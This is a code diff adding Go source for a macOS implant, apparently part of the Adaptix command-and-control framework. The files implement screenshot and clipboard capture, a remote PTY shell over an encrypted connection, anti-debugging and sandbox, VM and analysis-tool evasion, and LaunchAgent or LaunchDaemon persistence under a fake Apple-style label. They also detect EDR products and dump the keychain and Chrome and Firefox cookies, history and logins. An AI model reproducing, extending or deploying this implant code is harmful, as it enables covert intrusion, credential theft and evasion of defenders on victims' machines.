+ cmd := exec.Command("screencapture", "-x", "-C", "-t", "png", tmpPath)
+ cmd.Stdout = nil
+ cmd.Stderr = nil
+ if err := cmd.Run(); err != nil {
+ return nil, err
+ }
+
+ data, err := os.ReadFile(tmpPath)
+ if err != nil {
+ return nil, err
+ }
+ if len(data) == 0 {
+ return nil, fmt.Errorf("empty screenshot")
+ }
+
+ result[0] = data
+ return result, nil
+}
+
+/// NET
+
+func ConnRead(conn net.Conn, size int) ([]byte, error) {
+ if size <= 0 {
+ return nil, fmt.Errorf("incorrected size: %d", size)
+ }
+
+ message := make([]byte, 0, size)
+ tmpBuff := make([]byte, 1024)
+ readSize := 0
+
+ for readSize < size {
+ toRead := size - readSize
+ if toRead < len(tmpBuff) {
+ tmpBuff = tmpBuff[:toRead]
+ }
+
+ n, err := conn.Read(tmpBuff)
+ if err != nil {
+ return nil, err
+ }
+
+ message = append(message, tmpBuff[:n]...)
+ readSize += n
+ }
+ return message, nil
+}
+
+func RecvMsg(conn net.Conn) ([]byte, error) {
+ bufLen, err := ConnRead(conn, 4)
+ if err != nil {
+ return nil, err
+ }
+ msgLen := binary.BigEndian.Uint32(bufLen)
+
+ return ConnRead(conn, int(msgLen))
+}
+
+func SendMsg(conn net.Conn, data []byte) error {
+ if conn == nil {
+ return errors.New("conn is nil")
+ }
+
+ msgLen := make([]byte, 4)
+ binary.BigEndian.PutUint32(msgLen, uint32(len(data)))
+ message := append(msgLen, data...)
+ _, err := conn.Write(message)
+ return err
+}
diff --git a/AdaptixServer/extenders/macos_agent/src_macos/functions/functions_darwin.go b/AdaptixServer/extenders/macos_agent/src_macos/functions/functions_darwin.go
new file mode 100644
index 000000000..9cdbdeb2d
--- /dev/null
+++ b/AdaptixServer/extenders/macos_agent/src_macos/functions/functions_darwin.go
@@ -0,0 +1,228 @@
+//go:build darwin
+// +build darwin
+
+package functions
+
+import (
+ "bufio"
+ "crypto/cipher"
+ "fmt"
+ "io"
+ "macos_agent/utils"
+ "os"
+ "os/exec"
+ "os/user"
+ "path/filepath"
+ "strconv"
+ "strings"
+ "syscall"
+
+ "github.com/creack/pty"
+
+ "howett.net/plist"
+)
+
+func GetCP() (uint32, uint32) {
+ return 0, 0
+}
+
+func IsElevated() bool {
+ return os.Geteuid() == 0
+}
+
+func GetOsVersion() (string, error) {
+ f, err := os.Open(utils.StrSystemVersionPlist())
+ if err != nil {
+ return utils.StrMacOS(), nil
+ }
+ defer f.Close()
+
+ var data map[string]interface{}
+ decoder := plist.NewDecoder(f)
+ err = decoder.Decode(&data)
+ if err != nil {
+ return utils.StrMacOS(), nil
+ }
+
+ version, ok := data[utils.StrProductVersion()].(string)
+ if !ok {
+ return utils.StrMacOS(), nil
+ }
+
+ return fmt.Sprintf("%s %s", utils.StrMacOS(), version), nil
+}
+
+func NormalizePath(relPath string) (string, error) {
+ if strings.HasPrefix(relPath, "~") {
+ usr, err := user.Current()
+ if err != nil {
+ return "", err
+ }
+ relPath = filepath.Join(usr.HomeDir, relPath[1:])
+ }
+ path, err := filepath.Abs(relPath)
+ if err != nil {
+ return "", err
+ }
+ path = filepath.Clean(path)
+ return path, nil
+}
+
+func buildFileInfo(path string, info os.FileInfo, displayName string) utils.FileInfo {
+ mode := info.Mode()
+ isLink := mode&os.ModeSymlink != 0
+
+ isDir := info.IsDir()
+ if isLink {
+ if targetInfo, err := os.Stat(path); err == nil {
+ isDir = targetInfo.IsDir()
+ }
+ }
+
+ stat, ok := info.Sys().(*syscall.Stat_t)
+ var nlink uint64 = 1
+ var uid, gid int
+ if ok {
+ nlink = uint64(stat.Nlink)
+ uid = int(stat.Uid)
+ gid = int(stat.Gid)
+ }
+
+ username := fmt.Sprintf("%d", uid)
+ if u, err := user.LookupId(username); err == nil {
+ username = u.Username
+ }
+ group := fmt.Sprintf("%d", gid)
+ if g, err := user.LookupGroupId(group); err == nil {
+ group = g.Name
+ }
+
+ return utils.FileInfo{
+ Mode: mode.String(),
+ Nlink: int(nlink),
+ User: username,
+ Group: group,
+ Size: info.Size(),
+ Date: info.ModTime().Format("Jan _2 15:04"),
+ Filename: displayName,
+ IsDir: isDir,
+ }
+}
+
+func GetListing(path string) ([]utils.FileInfo, error) {
+ var Files []utils.FileInfo
+
+ pathInfo, err := os.Lstat(path)
+ if err != nil {
+ return Files, err
+ }
+
+ if !pathInfo.IsDir() {
+ return []utils.FileInfo{buildFileInfo(path, pathInfo, filepath.Base(path))}, nil
+ }
+
+ entries, err := os.ReadDir(path)
+ if err != nil {
+ return Files, err
+ }
+
+ for _, entry := range entries {
+ fullPath := filepath.Join(path, entry.Name())
+ info, err := os.Lstat(fullPath)
+ if err != nil {
+ return Files, err
+ }
+
+ Files = append(Files, buildFileInfo(fullPath, info, entry.Name()))
+ }
+ return Files, nil
+}
+
+// GetProcesses enumerates processes using macOS native ps(1).
+// ps is a signed Apple binary — normal system activity, no CGO required.
+func GetProcesses() ([]utils.PsInfo, error) {
+ out, err := exec.Command("ps", "-axo", "pid=,ppid=,tty=,user=,comm=").Output()
+ if err != nil {
+ return nil, err
+ }
+
+ var Processes []utils.PsInfo
+ scanner := bufio.NewScanner(strings.NewReader(string(out)))
+ for scanner.Scan() {
+ line := strings.TrimSpace(scanner.Text())
+ if line == "" {
+ continue
+ }
+ fields := strings.Fields(line)
+ if len(fields) < 5 {
+ continue
+ }
+ pid, _ := strconv.Atoi(fields[0])
+ ppid, _ := strconv.Atoi(fields[1])
+ tty := fields[2]
+ if tty == "??" {
+ tty = ""
+ }
+ username := fields[3]
+ process := strings.Join(fields[4:], " ")
+
+ Processes = append(Processes, utils.PsInfo{
+ Pid: pid,
+ Ppid: ppid,
+ Context: username,
+ Tty: tty,
+ Process: process,
+ })
+ }
+
+ return Processes, nil
+}
+
+func ProcessSettings(cmd *exec.Cmd) {}
+
+func IsProcessRunning(cmd *exec.Cmd) bool {
+ if cmd.Process == nil {
+ return false
+ }
+ err := cmd.Process.Signal(syscall.Signal(0))
+ if err != nil {
+ return false
+ }
+ return true
+}
+
+func StartPtyCommand(process *exec.Cmd, columns uint16, rows uint16) (any, error) {
+ process.Env = append(os.Environ(),
+ utils.StrHistory(), utils.StrHistsize(), utils.StrHistsave(),
+ utils.StrHistzone(), utils.StrHistlog(),
+ utils.StrHistfile(), utils.StrHistfilesize(),
+ )
+ windowSize := pty.Winsize{Rows: rows, Cols: columns}
+
+ return pty.StartWithSize(process, &windowSize)
+}
+
+func StopPty(Pipe any) error {
+ src := Pipe.(*os.File)
+ return src.Close()
+}
+
+func RelayConnToPty(to any, from *cipher.StreamReader) {
+ pipe := to.(*os.File)
+ io.Copy(pipe, from)
+}
+
+func RelayPtyToConn(to *cipher.StreamWriter, from any) {
+ pipe := from.(*os.File)
+ io.Copy(to, pipe)
+}
+
+// GetClipboard reads the current clipboard contents using pbpaste (macOS native).
+// pbpaste is a signed Apple binary — no TCC required, normal system activity.
+func GetClipboard() (string, error) {
+ out, err := exec.Command("pbpaste").Output()
+ if err != nil {
+ return "", err
+ }
+ return string(out), nil
+}
diff --git a/AdaptixServer/extenders/macos_agent/src_macos/functions/opsec_darwin.go b/AdaptixServer/extenders/macos_agent/src_macos/functions/opsec_darwin.go
new file mode 100644
index 000000000..0bc48b212
--- /dev/null
+++ b/AdaptixServer/extenders/macos_agent/src_macos/functions/opsec_darwin.go
@@ -0,0 +1,161 @@
+//go:build darwin
+// +build darwin
+
+package functions
+
+import (
+ "macos_agent/utils"
+ "os"
+ "strings"
+ "syscall"
+ "unsafe"
+)
+
+const (
+ _CTL_KERN = 1
+ _KERN_PROC = 14
+ _KERN_PROC_PID = 1
+ _P_TRACED = 0x00000800
+ _PT_DENY_ATTACH = 31
+ _SYS_PTRACE = 26
+ _SYS_SYSCTL = 202
+ _SYS_SYSCTLBYNAME = 274
+)
+
+const _KINFO_PROC_SIZE = 648
+const _P_FLAG_OFFSET = 32
+
+// DenyDebugger calls ptrace(PT_DENY_ATTACH, 0, 0, 0) via raw syscall.
+func DenyDebugger() {
+ syscall.Syscall6(
+ uintptr(_SYS_PTRACE),
+ uintptr(_PT_DENY_ATTACH),
+ 0, 0, 0, 0, 0,
+ )
+}
+
+// IsDebuggerPresent checks the P_TRACED flag via sysctl(KERN_PROC_PID).
+func IsDebuggerPresent() bool {
+ var buf [_KINFO_PROC_SIZE]byte
+ size := uintptr(len(buf))
+
+ mib := [4]int32{_CTL_KERN, _KERN_PROC, _KERN_PROC_PID, int32(os.Getpid())}
+
+ _, _, errno := syscall.Syscall6(
+ uintptr(_SYS_SYSCTL),
+ uintptr(unsafe.Pointer(&mib[0])),
+ 4,
+ uintptr(unsafe.Pointer(&buf[0])),
+ uintptr(unsafe.Pointer(&size)),
+ 0,
+ 0,
+ )
+ if errno != 0 {
+ return false
+ }
+
+ pFlag := *(*int32)(unsafe.Pointer(&buf[_P_FLAG_OFFSET]))
+ return pFlag&_P_TRACED != 0
+}
+
+// sysctlByName is a helper wrapping sysctlbyname via raw syscall.
+func sysctlByName(name string) ([]byte, error) {
+ nameBytes := append([]byte(name), 0)
+
+ var size uintptr
+ _, _, errno := syscall.Syscall6(
+ uintptr(_SYS_SYSCTLBYNAME),
+ uintptr(unsafe.Pointer(&nameBytes[0])),
+ 0,
+ uintptr(unsafe.Pointer(&size)),
+ 0,
+ 0,
+ 0,
+ )
+ if errno != 0 || size == 0 {
+ return nil, errno
+ }
+
+ buf := make([]byte, size)
+ _, _, errno = syscall.Syscall6(
+ uintptr(_SYS_SYSCTLBYNAME),
+ uintptr(unsafe.Pointer(&nameBytes[0])),
+ uintptr(unsafe.Pointer(&buf[0])),
+ uintptr(unsafe.Pointer(&size)),
+ 0,
+ 0,
+ 0,
+ )
+ if errno != 0 {
+ return nil, errno
+ }
+
+ if size > 0 && buf[size-1] == 0 {
+ size--
+ }
+ return buf[:size], nil
+}
+
+// GetHWModel returns the hardware model string via sysctlbyname.
+func GetHWModel() string {
+ data, err := sysctlByName(utils.StrHwModel())
+ if err != nil {
+ return ""
+ }
+ return string(data)
+}
+
+// IsVirtualMachine checks hw.model for virtualization indicators.
+func IsVirtualMachine() bool {
+ model := GetHWModel()
+ if model == "" {
+ return false
+ }
+ return strings.Contains(model, "Virtual")
+}
+
+// IsSandboxed checks if the process is running inside an App Sandbox.
+func IsSandboxed() bool {
+ return os.Getenv(utils.StrSandboxEnv()) != ""
+}
+
+// IsSIPDisabled checks for SIP-disabled indicators via kern.bootargs.
+func IsSIPDisabled() bool {
+ data, err := sysctlByName(utils.StrKernBootargs())
+ if err != nil {
+ return false
+ }
+ return strings.Contains(string(data), utils.StrAmfiBypass())
+}
+
+// DetectAnalysisTools checks for the presence of common macOS reversing/analysis tools.
+func DetectAnalysisTools() bool {
+ toolPaths := []string{
+ utils.StrHopper(),
+ utils.StrIDA(),
+ utils.StrGhidra(),
+ utils.StrCharles(),
+ utils.StrProxyman(),
+ utils.StrWireshark(),
+ }
+ for _, p := range toolPaths {
+ if _, err := os.Stat(p); err == nil {
+ return true
+ }
+ }
+ return false
+}
+
+// IsAnalysisEnvironment performs a combined check for analysis/debugging indicators.
+func IsAnalysisEnvironment() bool {
+ if IsDebuggerPresent() {
+ return true
+ }
+ if IsVirtualMachine() {
+ return true
+ }
+ if IsSIPDisabled() {
+ return true
+ }
+ return false
+}
diff --git a/AdaptixServer/extenders/macos_agent/src_macos/functions/persist_darwin.go b/AdaptixServer/extenders/macos_agent/src_macos/functions/persist_darwin.go
new file mode 100644
index 000000000..117e387c2
--- /dev/null
+++ b/AdaptixServer/extenders/macos_agent/src_macos/functions/persist_darwin.go
@@ -0,0 +1,509 @@
+//go:build darwin
+// +build darwin
+
+package functions
+
+import (
+ "fmt"
+ "os"
+ "os/exec"
+ "os/user"
+ "path/filepath"
+ "strings"
+
+ "howett.net/plist"
+)
+
+// LaunchAgent/LaunchDaemon plist structure
+type launchdPlist struct {
+ Label string `plist:"Label"`
+ ProgramArguments []string `plist:"ProgramArguments"`
+ RunAtLoad bool `plist:"RunAtLoad"`
+ KeepAlive bool `plist:"KeepAlive"`
+ StandardOutPath string `plist:"StandardOutPath,omitempty"`
+ StandardErrorPath string `plist:"StandardErrorPath,omitempty"`
+}
+
+// PersistInstall creates a LaunchAgent or LaunchDaemon plist for persistence.
+// method: "launchagent" or "launchdaemon"
+// label: plist label, e.g. "com.apple.mdworker.local"
+func PersistInstall(method, label string) (string, error) {
+ selfPath, err := os.Executable()
+ if err != nil {
+ return "", fmt.Errorf("cannot resolve self path: %w", err)
+ }
+
+ var dir string
+ switch method {
+ case "launchagent":
+ usr, err := user.Current()
+ if err != nil {
+ return "", err
+ }
+ dir = filepath.Join(usr.HomeDir, "Library", "LaunchAgents")
+ case "launchdaemon":
+ if os.Geteuid() != 0 {
+ return "", fmt.Errorf("launchdaemon requires root privileges")
+ }
+ dir = "/Library/LaunchDaemons"
+ default:
+ return "", fmt.Errorf("unknown persistence method: %s", method)
+ }
+
+ if err := os.MkdirAll(dir, 0755); err != nil {
+ return "", fmt.Errorf("cannot create directory %s: %w", dir, err)
+ }
+
+ plistPath := filepath.Join(dir, label+".plist")
+
+ data := launchdPlist{
+ Label: label,
+ ProgramArguments: []string{selfPath},
+ RunAtLoad: true,
+ KeepAlive: true,
+ }
+
+ buf, err := plist.MarshalIndent(data, plist.XMLFormat, "\t")
+ if err != nil {
+ return "", fmt.Errorf("cannot marshal plist: %w", err)
+ }
+
+ if err := os.WriteFile(plistPath, buf, 0644); err != nil {
+ return "", fmt.Errorf("cannot write plist: %w", err)
+ }
+
+ // Load the plist immediately via launchctl
+ _ = exec.Command("launchctl", "load", "-w", plistPath).Run()
+
+ return fmt.Sprintf("Persistence installed: %s\nPlist: %s\nBinary: %s", method, plistPath, selfPath), nil
+}
+
+// PersistRemove removes a LaunchAgent or LaunchDaemon persistence.
+func PersistRemove(method, label string) (string, error) {
+ var dir string
+ switch method {
+ case "launchagent":
+ usr, err := user.Current()
+ if err != nil {
+ return "", err
+ }
+ dir = filepath.Join(usr.HomeDir, "Library", "LaunchAgents")
+ case "launchdaemon":
+ dir = "/Library/LaunchDaemons"
+ default:
+ return "", fmt.Errorf("unknown persistence method: %s", method)
+ }
+
+ plistPath := filepath.Join(dir, label+".plist")
+
+ if _, err := os.Stat(plistPath); os.IsNotExist(err) {
+ return "", fmt.Errorf("plist not found: %s", plistPath)
+ }
+
+ // Unload first
+ _ = exec.Command("launchctl", "unload", "-w", plistPath).Run()
+
+ if err := os.Remove(plistPath); err != nil {
+ return "", fmt.Errorf("cannot remove plist: %w", err)
+ }
+
+ return fmt.Sprintf("Persistence removed: %s\nDeleted: %s", method, plistPath), nil
+}
+
+// PersistStatus checks if any known persistence plists exist.
+func PersistStatus() (string, error) {
+ usr, err := user.Current()
+ if err != nil {
+ return "", err
+ }
+
+ selfPath, _ := os.Executable()
+ var results []string
+
+ // Check LaunchAgents
+ agentDir := filepath.Join(usr.HomeDir, "Library", "LaunchAgents")
+ results = append(results, checkPlistDir(agentDir, selfPath, "LaunchAgent")...)
+
+ // Check LaunchDaemons (if readable)
+ daemonDir := "/Library/LaunchDaemons"
+ results = append(results, checkPlistDir(daemonDir, selfPath, "LaunchDaemon")...)
+
+ if len(results) == 0 {
+ return "No persistence found for this agent", nil
+ }
+ return strings.Join(results, "\n"), nil
+}
+
+func checkPlistDir(dir, selfPath, ptype string) []string {
+ var results []string
+ entries, err := os.ReadDir(dir)
+ if err != nil {
+ return results
+ }
+
+ for _, entry := range entries {
+ if !strings.HasSuffix(entry.Name(), ".plist") {
+ continue
+ }
+ path := filepath.Join(dir, entry.Name())
+ f, err := os.Open(path)
+ if err != nil {
+ continue
+ }
+ var data launchdPlist
+ decoder := plist.NewDecoder(f)
+ err = decoder.Decode(&data)
+ f.Close()
+ if err != nil {
+ continue
+ }
+
+ for _, arg := range data.ProgramArguments {
+ if arg == selfPath {
+ status := "loaded"
+ // Check if actually loaded via launchctl
+ out, err := exec.Command("launchctl", "list", data.Label).Output()
+ if err != nil || len(out) == 0 {
+ status = "installed (not loaded)"
+ }
+ results = append(results, fmt.Sprintf("[%s] %s — %s (%s)", ptype, data.Label, path, status))
+ break
+ }
+ }
+ }
+ return results
+}
+
+// TccCheck probes TCC permissions by attempting to access protected resources.
+func TccCheck() (string, error) {
+ var results []string
+
+ // Full Disk Access — try reading TCC.db
+ tccPath := "/Library/Application Support/com.apple.TCC/TCC.db"
+ if _, err := os.Open(tccPath); err == nil {
+ results = append(results, "[+] Full Disk Access: GRANTED")
+ } else {
+ results = append(results, "[-] Full Disk Access: DENIED")
+ }
+
+ // Screen Recording — try screencapture
+ tmpFile, err := os.CreateTemp("", "tcc-*.png")
+ if err == nil {
+ tmpPath := tmpFile.Name()
+ tmpFile.Close()
+ defer os.Remove(tmpPath)
+ cmd := exec.Command("screencapture", "-x", "-t", "png", tmpPath)
+ if err := cmd.Run(); err != nil {
+ results = append(results, "[-] Screen Recording: DENIED or unavailable")
+ } else {
+ info, _ := os.Stat(tmpPath)
+ if info != nil && info.Size() > 0 {
+ results = append(results, "[+] Screen Recording: GRANTED")
+ } else {
+ results = append(results, "[-] Screen Recording: DENIED")
+ }
+ }
+ }
+
+ // Accessibility — no reliable probe without CGO (CGEventTap needs it)
+ results = append(results, "[?] Accessibility: cannot probe without CGO")
+
+ // Camera
+ out, err := exec.Command("system_profiler", "SPCameraDataType").Output()
+ if err == nil && len(out) > 0 {
+ results = append(results, "[?] Camera: hardware detected (permission untested)")
+ }
+
+ // Clipboard — always available, no TCC
+ results = append(results, "[+] Clipboard: no TCC required")
+
+ return strings.Join(results, "\n"), nil
+}
+
+// DefaultsRead reads macOS defaults for a given domain.
+func DefaultsRead(domain string) (string, error) {
+ var cmd *exec.Cmd
+ if domain == "" || domain == "all" {
+ cmd = exec.Command("defaults", "read")
+ } else {
+ cmd = exec.Command("defaults", "read", domain)
+ }
+ out, err := cmd.CombinedOutput()
+ if err != nil {
+ return "", fmt.Errorf("%s\n%s", err.Error(), string(out))
+ }
+ return string(out), nil
+}
+
+// EdrCheck detects known EDR/security products on macOS.
+func EdrCheck() (string, error) {
+ var results []string
+
+ // Known EDR process names
+ edrProcesses := map[string]string{
+ "falcond": "CrowdStrike Falcon",
+ "falconctl": "CrowdStrike Falcon",
+ "SentinelAgent": "SentinelOne",
+ "sentineld": "SentinelOne",
+ "JamfProtect": "Jamf Protect",
+ "JamfDaemon": "Jamf Pro",
+ "jamfAgent": "Jamf Pro",
+ "CbOsxSensorService": "Carbon Black",
+ "CbDefense": "Carbon Black",
+ "EndpointSecurityClient": "macOS Endpoint Security (generic)",
+ "MicrosoftDefender": "Microsoft Defender",
+ "com.microsoft.dlp.daemon": "Microsoft DLP",
+ }
+
+ // Get running processes
+ psOut, err := exec.Command("ps", "-axo", "comm=").Output()
+ if err != nil {
+ return "", fmt.Errorf("cannot enumerate processes: %w", err)
+ }
+
+ foundEdr := make(map[string]bool)
+ for _, line := range strings.Split(string(psOut), "\n") {
+ proc := strings.TrimSpace(filepath.Base(line))
+ if product, ok := edrProcesses[proc]; ok {
+ if !foundEdr[product] {
+ foundEdr[product] = true
+ results = append(results, fmt.Sprintf("[!] %s detected (process: %s)", product, proc))
+ }
+ }
+ }
+
+ // System Extensions
+ sysExtOut, err := exec.Command("systemextensionsctl", "list").CombinedOutput()
+ if err == nil {
+ for _, line := range strings.Split(string(sysExtOut), "\n") {
+ line = strings.TrimSpace(line)
+ if strings.Contains(line, "enabled") || strings.Contains(line, "activated") {
+ results = append(results, fmt.Sprintf("[*] System Extension: %s", line))
+ }
+ }
+ }
+
+ // Network Extensions (profiles)
+ profOut, err := exec.Command("profiles", "list").CombinedOutput()
+ if err == nil && len(profOut) > 10 {
+ results = append(results, fmt.Sprintf("[*] Configuration profiles installed (%d bytes output)", len(profOut)))
+ }
+
+ if len(results) == 0 {
+ return "No known EDR/security products detected", nil
+ }
+
+ return strings.Join(results, "\n"), nil
+}
+
+// KeychainList lists keychain entries using the security CLI.
+func KeychainList() (string, error) {
+ out, err := exec.Command("security", "list-keychains").CombinedOutput()
+ if err != nil {
+ return "", fmt.Errorf("security list-keychains failed: %s", string(out))
+ }
+
+ result := "Keychains:\n" + string(out) + "\n"
+
+ // Try to dump generic passwords (will prompt on macOS if not authorized)
+ dumpOut, err := exec.Command("security", "dump-keychain").CombinedOutput()
+ if err == nil {
+ // Count entries
+ count := strings.Count(string(dumpOut), "keychain:")
+ result += fmt.Sprintf("Keychain entries: %d\n", count)
+ // Only include first 8KB to avoid overwhelming output
+ if len(dumpOut) > 8192 {
+ result += string(dumpOut[:8192]) + "\n... (truncated)"
+ } else {
+ result += string(dumpOut)
+ }
+ } else {
+ result += "dump-keychain: access denied or requires authorization"
+ }
+
+ return result, nil
+}
+
+// KeychainDump attempts to dump keychain entries with more detail.
+func KeychainDump() (string, error) {
+ out, err := exec.Command("security", "dump-keychain", "-d").CombinedOutput()
+ if err != nil {
+ // -d flag may cause password prompts; fallback without -d
+ out, err = exec.Command("security", "dump-keychain").CombinedOutput()
+ if err != nil {
+ return "", fmt.Errorf("security dump-keychain failed: %s", string(out))
+ }
+ }
+ if len(out) > 32768 {
+ return string(out[:32768]) + "\n... (truncated at 32KB)", nil
+ }
+ return string(out), nil
+}
+
+// BrowserDumpChrome collects Chrome browser data (cookies, history, login data).
+func BrowserDumpChrome(target string) (string, error) {
+ usr, err := user.Current()
+ if err != nil {
+ return "", err
+ }
+
+ chromeDir := filepath.Join(usr.HomeDir, "Library", "Application Support", "Google", "Chrome", "Default")
+ if _, err := os.Stat(chromeDir); os.IsNotExist(err) {
+ return "", fmt.Errorf("Chrome profile not found: %s", chromeDir)
+ }
+
+ var targetFile string
+ switch target {
+ case "cookies":
+ targetFile = filepath.Join(chromeDir, "Cookies")
+ case "history":
+ targetFile = filepath.Join(chromeDir, "History")
+ case "logins":
+ targetFile = filepath.Join(chromeDir, "Login Data")
+ default:
+ // List available files
+ var files []string
+ entries, _ := os.ReadDir(chromeDir)
+ for _, e := range entries {
+ if !e.IsDir() {
+ info, _ := e.Info()
+ if info != nil {
+ files = append(files, fmt.Sprintf(" %s (%s)", e.Name(), formatSize(info.Size())))
+ }
+ }
+ }
+ return fmt.Sprintf("Chrome profile: %s\nFiles:\n%s\n\nUse: browser_dump chrome cookies|history|logins", chromeDir, strings.Join(files, "\n")), nil
+ }
+
+ if _, err := os.Stat(targetFile); os.IsNotExist(err) {
+ return "", fmt.Errorf("file not found: %s", targetFile)
+ }
+
+ // SQLite databases — try to read with sqlite3 CLI
+ var out []byte
+ switch target {
+ case "cookies":
+ out, err = exec.Command("sqlite3", targetFile, ".mode column", ".headers on",
+ "SELECT host_key, name, path, expires_utc, is_secure, is_httponly FROM cookies LIMIT 100;").CombinedOutput()
+ case "history":
+ out, err = exec.Command("sqlite3", targetFile, ".mode column", ".headers on",
+ "SELECT url, title, visit_count, datetime(last_visit_time/1000000-11644473600,'unixepoch') as last_visit FROM urls ORDER BY last_visit_time DESC LIMIT 100;").CombinedOutput()
+ case "logins":
+ out, err = exec.Command("sqlite3", targetFile, ".mode column", ".headers on",
+ "SELECT origin_url, username_value, length(password_value) as pwd_len FROM logins LIMIT 100;").CombinedOutput()
+ }
+
+ if err != nil {
+ return "", fmt.Errorf("sqlite3 query failed: %s\n%s", err.Error(), string(out))
+ }
+
+ if len(out) == 0 {
+ return fmt.Sprintf("No data found in %s", target), nil
+ }
+
+ return fmt.Sprintf("Chrome %s (top 100):\n%s", target, string(out)), nil
+}
+
+// BrowserDumpFirefox collects Firefox browser data.
+func BrowserDumpFirefox(target string) (string, error) {
+ usr, err := user.Current()
+ if err != nil {
+ return "", err
+ }
+
+ ffDir := filepath.Join(usr.HomeDir, "Library", "Application Support", "Firefox", "Profiles")
+ if _, err := os.Stat(ffDir); os.IsNotExist(err) {
+ return "", fmt.Errorf("Firefox profiles not found: %s", ffDir)
+ }
+
+ // Find the default profile (*.default-release or *.default)
+ entries, err := os.ReadDir(ffDir)
+ if err != nil {
+ return "", err
+ }
+
+ var profileDir string
+ for _, e := range entries {
+ if e.IsDir() && (strings.HasSuffix(e.Name(), ".default-release") || strings.HasSuffix(e.Name(), ".default")) {
+ profileDir = filepath.Join(ffDir, e.Name())
+ break
+ }
+ }
+
+ if profileDir == "" {
+ // List all profiles
+ var profiles []string
+ for _, e := range entries {
+ if e.IsDir() {
+ profiles = append(profiles, " "+e.Name())
+ }
+ }
+ return fmt.Sprintf("Firefox profiles found:\n%s\nNo default profile detected", strings.Join(profiles, "\n")), nil
+ }
+
+ var targetFile string
+ switch target {
+ case "cookies":
+ targetFile = filepath.Join(profileDir, "cookies.sqlite")
+ case "history":
+ targetFile = filepath.Join(profileDir, "places.sqlite")
+ case "logins":
+ targetFile = filepath.Join(profileDir, "logins.json")
+ default:
+ var files []string
+ fentries, _ := os.ReadDir(profileDir)
+ for _, e := range fentries {
+ if !e.IsDir() {
+ info, _ := e.Info()
+ if info != nil {
+ files = append(files, fmt.Sprintf(" %s (%s)", e.Name(), formatSize(info.Size())))
+ }
+ }
+ }
+ return fmt.Sprintf("Firefox profile: %s\nFiles:\n%s\n\nUse: browser_dump firefox cookies|history|logins", profileDir, strings.Join(files, "\n")), nil
+ }
+
+ if _, err := os.Stat(targetFile); os.IsNotExist(err) {
+ return "", fmt.Errorf("file not found: %s", targetFile)
+ }
+
+ if target == "logins" {
+ // logins.json — just read it
+ data, err := os.ReadFile(targetFile)
+ if err != nil {
+ return "", err
+ }
+ if len(data) > 16384 {
+ return string(data[:16384]) + "\n... (truncated)", nil
+ }
+ return string(data), nil
+ }
+
+ // SQLite databases
+ var out []byte
+ switch target {
+ case "cookies":
+ out, err = exec.Command("sqlite3", targetFile, ".mode column", ".headers on",
+ "SELECT host, name, path, expiry, isSecure, isHttpOnly FROM moz_cookies LIMIT 100;").CombinedOutput()
+ case "history":
+ out, err = exec.Command("sqlite3", targetFile, ".mode column", ".headers on",
+ "SELECT url, title, visit_count, datetime(last_visit_date/1000000,'unixepoch') as last_visit FROM moz_places ORDER BY last_visit_date DESC LIMIT 100;").CombinedOutput()
+ }
+
+ if err != nil {
+ return "", fmt.Errorf("sqlite3 query failed: %s\n%s", err.Error(), string(out))
+ }
+
+ return fmt.Sprintf("Firefox %s (top 100):\n%s", target, string(out)), nil
+}
+
+func formatSize(bytes int64) string {
+ const (
+ KB = 1024.0
+ MB = KB * 1024
+ )
+ if float64(bytes) >= MB {
+ return fmt.Sprintf("%.1f MB", float64(bytes)/MB)
+ }
+ return fmt.Sprintf("%.1f KB", float64(bytes)/KB)
+}
diff --git a/AdaptixServer/extenders/macos_agent/src_macos/go.mod b/AdaptixServer/extenders/macos_agent/src_macos/go.mod
new file mode 100644
index 000000000..f0e7e56c9
--- /dev/null
+++ b/AdaptixServer/extenders/macos_agent/src_macos/go.mod
@@ -0,0 +1,11 @@
+module macos_agent
+
+go 1.25.4
+
+require (
+ github.com/creack/pty v1.1.24
+ github.com/vmihailenco/msgpack/v5 v5.4.1
+ howett.net/plist v1.0.1
+)
+
+require github.com/vmihailenco/tagparser/v2 v2.0.0 // indirect
diff --git a/AdaptixServer/extenders/macos_agent/src_macos/go.sum b/AdaptixServer/extenders/macos_agent/src_macos/go.sum
new file mode 100644
index 000000000..17b6cced1
--- /dev/null
+++ b/AdaptixServer/extenders/macos_agent/src_macos/go.sum
@@ -0,0 +1,19 @@
+github.com/creack/pty v1.1.24 h1:bJrF4RRfyJnbTJqzRLHzcGaZK1NeM5kTC9jGgovnR1s=
+github.com/creack/pty v1.1.24/go.mod h1:08sCNb52WyoAwi2QDyzUCTgcvVFhUzewun7wtTfvcwE=
+github.com/davecgh/go-spew v1.1.0 h1:ZDRjVQ15GmhC3fiQ8ni8+OwkZQO4DARzQgrnXU1Liz8=
+github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
+github.com/jessevdk/go-flags v1.4.0/go.mod h1:4FA24M0QyGHXBuZZK/XkWh8h0e1EYbRYJSGM75WSRxI=
+github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
+github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
+github.com/stretchr/testify v1.6.1 h1:hDPOHmpOpP40lSULcqw7IrRb/u7w6RpDC9399XyoNd0=
+github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
+github.com/vmihailenco/msgpack/v5 v5.4.1 h1:cQriyiUvjTwOHg8QZaPihLWeRAAVoCpE00IUPn0Bjt8=
+github.com/vmihailenco/msgpack/v5 v5.4.1/go.mod h1:GaZTsDaehaPpQVyxrf5mtQlH+pc21PIudVV/E3rRQok=
+github.com/vmihailenco/tagparser/v2 v2.0.0 h1:y09buUbR+b5aycVFQs/g70pqKVZNBmxwAhO7/IwNM9g=
+github.com/vmihailenco/tagparser/v2 v2.0.0/go.mod h1:Wri+At7QHww0WTrCBeu4J6bNtoV6mEfg5OIWRZA9qds=
+gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
+gopkg.in/yaml.v1 v1.0.0-20140924161607-9f9df34309c0/go.mod h1:WDnlLJ4WF5VGsH/HVa3CI79GS0ol3YnhVnKP89i0kNg=
+gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c h1:dUUwHk2QECo/6vqA44rthZ8ie2QXMNeKRTHCNY2nXvo=
